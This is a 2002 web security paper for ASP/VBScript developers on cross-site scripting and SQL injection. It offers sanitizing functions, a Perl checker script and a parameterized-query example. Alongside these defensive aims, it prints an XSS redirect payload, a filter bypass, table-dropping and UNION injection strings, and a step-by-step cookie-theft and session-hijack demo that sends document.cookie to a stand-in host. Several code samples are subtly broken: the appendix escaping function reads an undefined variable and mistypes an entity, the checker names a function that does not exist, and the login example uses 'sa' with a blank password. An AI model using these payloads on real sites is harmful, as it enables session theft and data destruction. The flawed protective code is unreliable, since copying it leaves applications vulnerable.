Web Application Security

namics ag
Patrice Neff

July 17, 2002

Abstract

Bugtraq is floated with Web bugs, especially cross-site scripting (XSS) and SQL injection problems. A while ago a friend mailed me a link at sunrise.net, revealing the SQL Server version.

Theoretically many ASP programmers know, that input validation is required. With this paper I want to show you exactly why this should be done and give you some tools to ease this effort. The code samples are all written for VBScript.

This document only covers the security threats that Web developers can fix.

Contents

1 Cross-Site Scripting

Cross-site scripting (XSS) is a threat where the attacker can inject code into a Web application which gets executed at the visitor's site. This is possible whenever the input of the user gets displayed on the Web site again, for example in guest books.

This attack form can be used to exploit browser bugs like buffer overflows and ActiveX flaws or to steal cookies (see section 3).

1.1 Protection: Approach I
Filter HTML Characters

The simplest approach to disable cross-site scripting is the filtering of HTML characters.

> → >
< → <
" → "
& → &

If you put this sanitized code in an HTML environment it should keep you save from cross-site scripting bugs. But imagine this code:

```
<%
Function cHtml(str)
  s = str

  s = Replace(s, "&", "&amp;")
  s = Replace(s, ">", "&qt;")
  s = Replace(s, "<", "&lt;")
  s = Replace(s, """", "&quot;")

  cHtml = s
End Function

str = cHtml(Request("str"))
%>
<html>
  <head>
    <title>custom JavaScript</title>
    <script language="JavaScript">
      function cmsg() {
        alert('custom message: <%=str%>');
      }
    </script>
  </head>
  <body onload="cmsg()">
    This displays a custom message on page load.
  </body>
</html>
```

This allows a lot of query strings that don't include any "forbidden characters". For example this query string would redirect every visitor to my Web site: `str=Welcome!');location.href='http://www.patrice.ch/';//`

So always check if you really have replaced all characters that can be used to escape the current environment. In the example above this would at least include the single quote. You should also escape the backslash in JavaScript, as it might be possible to abuse it.

1.2 Protection: Approach II
Only Allow a Limited Character Set

The first approach works quite well if you want to disallow any HTML. But from a security point of view it's far from ideal, because it only forbids the characters that are dangerous today. With the next great browser there might be some other way to inject a script into the page. So it's recommended to allow only a minimal set of characters. For example only letters, numbers and newlines.

This code works fine to disable any character not included in the constant `allowed`. It also allows newlines.

```
' Replace all evil characters
Function cHtml(ByVal s)
  Dim i
  Dim snew
  Const allowed="abcdefghijklmnopqrstuvwxyz" & _
                "ABCDEFGHIJKLMNOPQRSTUVWXYZ" & _
                "0123456789äöüÄÖÜ .,!:;" & vbCrLf

  snew=""
  For i = 1 To Len(s)
    If Instr(1, allowed, Mid(s, i, 1))>0 Then
      snew = snew & Mid(s, i, 1)
    End If
  Next

  cHtml = snew
End Function
```

I have implemented this approach with the function `limitStr` in appendix A.

1.3 Protection: Approach III
Safely Allow Some Tags

If you really want to allow the user to insert HTML tags, the most secure way for this is to first sanitize all data using approach I (see section 1.1) and then re-replace all allowed tags. For example:

```
<%
Function cHtml(str)
  s = str

  s = Replace(s, "&", "&amp;")
  s = Replace(s, ">", "&qt;")
  s = Replace(s, "<", "&lt;")
  s = Replace(s, """", "&quot;")

  cHtml = s
End Function

Function htmlIze(str)
  Dim s

  s = cHtml(str)

  ' Allowed tags, b, i, u
```

```
  s = Replace(s, "&lt;b&gt;", "<b>", 1, -1, 1)
  s = Replace(s, "&lt;/b&gt;", "</b>", 1, -1, 1)
  s = Replace(s, "&lt;i&gt;", "<i>", 1, -1, 1)
  s = Replace(s, "&lt;/i&gt;", "</i>", 1, -1, 1)
  s = Replace(s, "&lt;u&gt;", "<u>", 1, -1, 1)
  s = Replace(s, "&lt;/u&gt;", "</u>", 1, -1, 1)

  htmlIze = s
End Function

str = htmlIze(Request("str"))
%>
<html>
  <head>
    <title>htmlIze</title>
  </head>
  <body>
    This was your text:
    <p><%=str%></p>
  </body>
</html>
```

1.4 Common Pitfalls

Case sensitivity If you replace strings, replace everything case insensitive. The `Replace` function has a parameter for this. The last argument defines, whether to compare the strings binary (0) or as text (1):

```
s = Replace(s, "<script>", "", 1, -1, 1)
```

Note: I don't recommend to only replace some "hostile" tags, because this approach is very risky and prone to changes in the browsers. Additionally you will most probably miss a few tags or attributes. So if you really need to allow the user to insert some tags, see section 1.3.

Newlines When you want to strip out single tags, make sure that you also replace them over newlines. Assume this script:

```
s = Request("str")
s = Replace(s, "<script>", "", 1, -1, 1)
Response.Write str
```

The intention is to remove every occurrence of the tag "script", it's even case insensitive. Now this can be circumvented with this query string:
`str=%3Cscript%0D%0A%3Ealert('testing')%3C%2Fscript%3E`
Or to make it more human readable:
`str=<script[newline]>alert('testing')</script>`

There is now a newline (%0D%0A) right before the closing bracket. As HTML ignores this newline, the script will execute. To fix this vulnerability, this code can be used:

```
s = Request("str")
' replace newline combinations
```

```
s = Replace(s, "<" & vbCr, "<")
s = Replace(s, "<" & vbLf, "<")
s = Replace(s, vbLf & ">", ">")
s = Replace(s, vbCr & ">", ">")
s = Replace(s, "<script>", "", 1, -1, 1)
Response.Write str
```

Note: Again, I discourage replacing some tags because you will most probably miss some. See section "Newlines" for a more thorough discussion.

Check all data Make sure that you really check all supplied data. A common problem is, that the form data is cleansed before displaying on the page, but the database data isn't. The best approach to prevent that kind of problems is to define for every table whether the data in it is sanitized or not. So the developers know when they have to HTML-ize the data: either when putting it into the table or when using it for HTML output.

I recommend you to protect all data against SQL injection directly when getting the input from the client. If you follow this approach you can use the checker script to check your code for bugs. See section 4.3 for information.

But when I use approach 1, I usually protect against XSS when displaying the content. One reason for this is, that this way I can use the same data for displaying on a HTML page and for sending in mails, etc.

2 SQL Injection

Now to the more dangerous part: SQL injection. This is a technique which allows the attacker to execute malicious SQL statements. With the help of `xp_cmdshell` it's even possible to execute system commands if the database is accessed as 'sa'.

This bug exists whenever you use unvalidated data that has been submitted by the client to perform a database query. Let's take this SQL-Statement, where the string "TERM" can be submitted by the visitor.

```
SELECT NewsId, NewsTitle
FROM T_News
WHERE NewsTitle LIKE '%TERM%'
```

The client could craft the term to drop the table T_News:

```
SELECT NewsId, NewsTitle
FROM T_News
WHERE NewsTitle LIKE '%';
DROP TABLE T_News --'
```

Yes, this is possible. Just submit `'; DROP TABLE T_News --` as the search term. First the `WHERE` clause is closed with the single quote, and then we can start the next statement with the semicolon. The two dashes at the end start a comment, so the single quote which the developer has inserted after the user's input doesn't produce a syntax error.

It's also possible to select any other data and display it instead of the News which the developer wanted to display on this page. You can use the `UNION` statement for that. The only requirement is that both queries return the same number of columns and the same data type in each column. If necessary use `CONVERT` to achieve that. [1] shows a trick how you can find out how many rows are included in the query using the `HAVING` clause. One example for a `UNION` crack:

```
SELECT NewsId, NewsTitle
FROM T_News
WHERE NewsTitle LIKE '%DOESNOTEXIST'
UNION SELECT UserId, UserName
FROM T_User --%'
```

2.1 Protection: Approach I
Filter characters

Luckily this attack is much easier to protect against than cross-site scripting. Make sure to remove or escape all single quotes in string parameters[1]. Additionally enforce that any numeric input is really numeric using the `IsNumeric` function call. The ASP functions (see section 4.2) include some generic functions to prevent you from SQL injection attacks if you use them every time. The numeric and date functions check if the input data is valid and then explicitly convert them with `CInt`, `CLng`, `CDate`, etc.

2.2 Protection: Approach II
ADODB Command

There is another approach which is very safe but more work to implement[12]. You can use ADODB prepared statements to automatically sanitize the data. See appendix D for an example.

Please note, that in the example I have checked the numeric parameters. This isn't strictly required, but if you let it out you get some nasty error messages: "Application uses a value of the wrong type for the current operation.".

3 Attack Demonstration

This is the procedure how a cross-site scripting attack could take place. It demonstrates how to steal a cookie.

For the session handling, IIS sets a cookie named "ASPSESSION...". It's quite impossible to guess the name and the value. But it's possible to steal this cookie. When you get a SessionID you can pass it to the server and then you own that session. I'll give you a step by step guide.

3.0.1 Set up/look for a page to log cookies

You first have to get some possibility to log the stolen cookies. This may be an ASP page on your own server that logs the query string to a file. Another possibility would be use the query string needed to create an entry in some guestbook. Let's assume the URL to create a guestbook entry is
`http://some.host/xtgbadd.asp?user=cookie&msg=MESSAGE`

3.0.2 Create a JavaScript

Next you need to create a script to inject. This should redirect to the URL researched above inserting the message. For example:

```
<script>
  location.href='http://some.host/xtqbadd.asp?user=cookie&msg=' + \
```

[1]The exact protection approach depends on the database server. For Microsoft SQL Server it suffices to double all single quotes. For other database systems you would have to put a backslash before every single quote or escape some other characters. Consult the manual of your database or ask your vendor for details.

```
      document.cookie
</script>
```

3.0.3 Inject the script

Now inject the created script into the targeted page. For example you could inject it into a session-based ASP forum or guestbook.

3.0.4 Break the session

I assume you had at least one victim. Get the cookie from your log file (or wherever it is stored) and extract the ASPSESSIONID cookie. For example:
`ASPSESSIONIDGQGGGHRP=INGFOODCHEIDAHKMKNKJHAMK`

Then you connect to the Web server and use this command. (End with two newlines)

```
GET /$TARGETSITE HTTP/1.1
Host: $WEBSERVER
Connection: Close
Cookie: ASPSESSIONIDGQGGGHRP=INGFOODCHEIDAHKMKNKJHAMK
```

4 Solutions

4.1 Some Ideas

There are a number of ideas to fix this two security problems.

The basic approach is to create a library of ASP functions which can be used without much hassle. The advantage of this is that it can be used very easily. But it's not the best way, because you need to think of it every time you read some request. The one and only place where you forget to use this functions might be the door for an attacker. The other major disadvantage is that this requires a system for code sharing to ensure that every Web application uses current functions.

Combined with the ASP functions it's possible to create a checker tool that reads the source files on the server and tries to detect the parameters which aren't checked. This could even be automated using command line options and/or a configuration file.

Another idea that floated around in my head was to create an ISAPI filter, so that you don't have to rewrite the applications. This would be a great advantage, but it has some disadvantaged. The most serious problem is the fact that in the ISAPI filter you can't know whether to protect this query against SQL injection or cross-site scripting. As we have seen, both need different filtering. It might be possible to solve this using some configuration files. I have decided not to dig into this for the moment, because it would be quite time consuming.

As I find the idea of the checker tool very sexy I decided to implement the ASP functions and a checker tool.

4.2 ASP Functions

Appendix A shows the code for an include file that provides the necessary functions to protect against XSS and SQL injection. `cHtml` protects against cross-site scripting using the approach 1 (see section 1.1). The functions starting with the letter "n" (you guessed it, "n" stands for "new") are equivalents for the corresponding VBScript function, e.g. CInt or CStr.

4.3 Checker Tool

When using the ASP functions it's crucial that they are used *every time* when you process request data. The one single request where you forget that can be the wide open door for an attacker.

I created a prototype of such a checker tool. The idea is to get a list of the vulnerable files so that they can be fixed. It is written in Perl because Perl is great for rapid development and provides great string functions. It is also available for the Microsoft Windows platforms.

4.3.1 Algorithm

1. Find statement which reads request data
2. Does the data get sanitized using one of the ASP functions?
3. If no, mark the line as vulnerable
4. Continue until end of file

The code is presented in appendix C.

4.4 Configuration Changes

There are some configuration changes that can be done to restrict the attackers when exploiting SQL injection bugs. First you can tell IIS not to give detailed error messages when an error occurs. So it gets a lot harder, though by far not impossible. Additionally you should remove all extended stored procedures. With them it's possible to harm the whole system. For example with xp_cmdshell it's possible to add users, delete files, put files on the server, ...

A ASP Functions Code

This is the code for the include file with the ASP functions discussed in section 4.2.

```
<%
'---------------------------------------------------------------------
' Functions to sanitize the client input.
'
' Protect against cross-site scripting and SQL injection
'
' HELP: What functions shall I use?
'   - If you have some data that you want to display on a HTML page,
'     use cHtml. It escapes any HTML input so it protects you
'     against cross-site scripting.
'   - If you're using the data for database queries, use the n*
'     functions:
'     - nInt, nDbl, nLng
'         This functions check if the input data is numeric and
'         convert it. If the data is invalid, they return 0.
'     - nStr
'         Replaces the single quotes in strings. So SQL injection is
'         not possible.
'
' Copyright 2002, Patrice Neff, namics ag
```

```
' Placed in the GPL license.
'--------------------------------------------------------------------

Function cHtml(value)
        s = str

        s = Replace(s, "&", "&amp;")
        s = Replace(s, ">", "&qt;")
        s = Replace(s, "<", "&lt;")
        s = Replace(s, """", "&quot;")

        cHtml = s
End Function

Function nInt(value)
        If IsNumeric(value) Then
                nInt = CInt(value)
        Else
                nInt = 0
        End If
End Function

Function nDbl(value)
        If IsNumeric(value) Then
                nDbl = CDbl(value)
        Else
                nDbl = 0.0
        End If
End Function

Function nLng(value)
        If IsNumeric(value) Then
                nLng = CLng(value)
        Else
                nLng = 0
        End If
End Function

Function nStr(value)
        Dim s: s = value

        s = Replace(s, "'", "''")
        s = Replace(s, "`", "''")

        nStr = s
End Function

' Constants for limitStr
Const alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
Const alphnum  = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

Function limitStr(value, limitset)
        Dim s: s = ""
        Dim i
```

```
        For i = 1 To Len(value)
                If InStr(1, limitset, Mid(value, i, 1))>0 Then
                        s = s & Mid(value, i, 1)
                End If
        Next

        limitStr = s
End Function

' Currently does nothing. Provided for the checker tool and might be
' required in the future
Function mailVal(value)
        mailVal = value
End Function

' Required for cases where the string doesn't have to be sanitized
' e.g.: If Request.QueryString<>"" Then
Function ignVal(value)
        ignVal = value
End Function
%>
```

B Regular Expressions

This are some examples for validation using Regular Expressions[8]. Regular expressions are far more powerful than the simple replace functions in appendix A but also more complex to write.

```
'Generic function to validate strings using regular expressions
Function fncStringValid(strInput, strPattern)
        Dim MyRegExp

        Set MyRegExp = New RegExp
        MyRegExp.Pattern = ">" & strPattern & ">"

        fncStringValid = MyRegExp.Test(">" & strInput & ">")
End Function


'Phone validation
Function fncPhoneValid(strInput)
        fncPhoneValid = fncStringValid(strInput, "0[0-9]{8,14}")
End Function


'Mobile phone validation
Function fncMobileValid(strInput)
        fncMobileValid = fncStringValid(strInput, "07[689][0-9]{7}")
End Function


'email validation
```

```
Function fncEmailValid(strInput)
        fncEmailValid = fncStringValid(strInput, "[\w\.-]+@[\w\.-]+(\.(\w)+)+")
End Function
```

C Checker Tool Code

```
#!/usr/bin/perl -w
# This script can be used to check if an ASP file is protected
# against cross-site scripting and SQL injection. It only works
# for VBScript files.
#
# Algorithm:
#   1. Find a statement which gets data from the client
#      E.g.: - Request.Form(..)
#            - Request.QueryString(..)
#            - Request.Cookies(..)
#            - Request(..)
#   2. Check if the requested data is sanitized with one of the ASP
#      functions:
#        - nStr, nInt, nDbl, nLng
#        - htmlConv, limitStr, mailVal, ignVal
#   3. If not, print an error
#   4. Continue at step 1
#
# Copyright 2002, Patrice Neff, namics ag
# Placed in the GPL license.
use strict;

my ($version, $date, $prog) = \
  ("0.1", "June 05, 2002", "AspSecCheck");

# the functions which can read client data
my @clrfuncs = qw(Request
                  Request.Form
                  Request.QueryString
                  Request.Cookies);
# the recognized ASP functions that can be used to sanitize data
my @aspfuncs = qw(nStr nInt nDbl nLng htmlConv limitStr mailVal ignVal);

### process input
my $depth=0;    # current brackets depth
my $sawfunc=-1; # level where we've last seen one of the aspfuncs
my $line=0;     # the current line number
my $errors=0;   # number of problems found
my $incomment=0;        # true if inside a comment

while (<>) {
  $line++;
  while (/((\w+([\w\.]+))|\)|\(|\')/g) {
    if ($1 eq "(") {
      $depth++ unless $incomment;
    } elsif ($1 eq ")") {
      $depth-- unless $incomment;
```

```
      $sawfunc=-1 if $sawfunc>$depth;
    } elsif ($1 eq "'") {
      $incomment=1;
    } else {
      $sawfunc=$depth if (not $incomment and grep(/^$1$/i, @aspfuncs));
      if (grep(/^$1$/i, @clrfuncs) and $sawfunc<0 and not $incomment) {
        print "    line: $line,       word: $1\n";
        $errors++;
      }
    }
  }
  $incomment=0;
}

print "$errors unchecked variables found!\n";
```

D Example for ADODB.Command

```
<!--METADATA NAME="Microsoft ActiveX Data Objects 2.5 Library"
  TYPE="TypeLib"
  UUID="{00000205-0000-0010-8000-00AA006D2EA4}"-->
<!--#include file="secur_funcs.asp"-->
<html>
        <head> <title>login</title> </head>
        <body>
        <%
        strUsername = Request.Form("username")
        strPassword = Request.Form("password")
        intId = Request("id")

        If Request.ServerVariables("CONTENT_LENGTH")>0 Then
                strSQL = "SELECT Count(*) AS c FROM users WHERE " & _
                         "uname=? and pwd=? and id=?"
                strConn = "Provider=SQLOLEDB;Data Source=(local);" & _
                          "Initial Catalog=testweb;User Id=sa;Password="
                Set cmd = Server.CreateObject("ADODB.Command")
                With cmd
                        .CommandText = strSQL
                        .CommandType = adCmdText
                        .Parameters.Append .CreateParameter("", adVarChar, _
                                           adParamInput, 50, strUsername)
                        .Parameters.Append .CreateParameter("", adVarChar, _
                                           adParamInput, 50, strPassword)
                        .Parameters.Append .CreateParameter("", adInteger, _
                                           adParamInput, , intId)
                        .ActiveConnection = strConn
                        Set rs = .Execute()
                End With

                If rs("c")=1 Then
                        Response.Write "You're logged in"
                Else
                        Response.Write "Invalid login"
```

```
                End If
        Else
                %>
                <form action="sql_command.asp" method="post">
                        Name: <input type="text" name="username"><br>
                        Pass: <input type="text" name="password"><br>
                        Id: <input type="text" name="id"><br>
                        <input type="submit">
                </form>
                <%
        End If
        %>
        </body>
</html>
```

References

[1] Chris Anley. Advanced SQL injection in SQL server applications. http://www.nextgenss.com/papers/advanced_sql_injection.pdf, 2002. 6

[2] Chris Anley. More advanced SQL injection in SQL server applications. http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf, 2002.

[3] CERT. Advisory CA-2000-02 malicious HTML tags embedded in client Web requests. http://www.cert.org/advisories/CA-2000-02.html, February 2000.

[4] CERT. Understanding malicious content mitigation for Web developers. http://www.cert.org/tech_tips/malicious_code_mitigation.html/, February 2000.

[5] Cgisecurity.com. The cross site scripting faq. http://www.cgisecurity.com/articles/xss-faq.shtml, May 2002.

[6] SPI Dynamics. Web applications and SQL injection. http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf.

[7] eyeonsecurity Inc. Extended html form attack. http://eyeonsecurity.net/papers/Extended%20HTML%20Form%20Attack.htm, January 2002.

[8] Jeffrey E. F. Friedl. *Mastering Regular Expressions*. O'Reilly & Associates, Inc., 103a Morris Street, Sebastopol, CA 95472, USA, Tel: +1 707 829 0515, and 90 Sherman Street, Cambridge, MA 02140, USA, Tel: +1 617 354 5800, 1997. 11

[9] iDEFENSE. Evolution of cross-site scripting attacks. http://www.idefense.com/XSS.html, May 2002.

[10] SecurityFocus. Bugtraq mailinglist. http://online.securityfocus.com/archive/1.

[11] sqlsecurity.com. SQL injection FAQ. http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=2&tabid=3.

[12] Christoph Wille. Gegengifte für SQL injection. http://www.aspheute.com/artikel/20011031.htm, April 2001. 7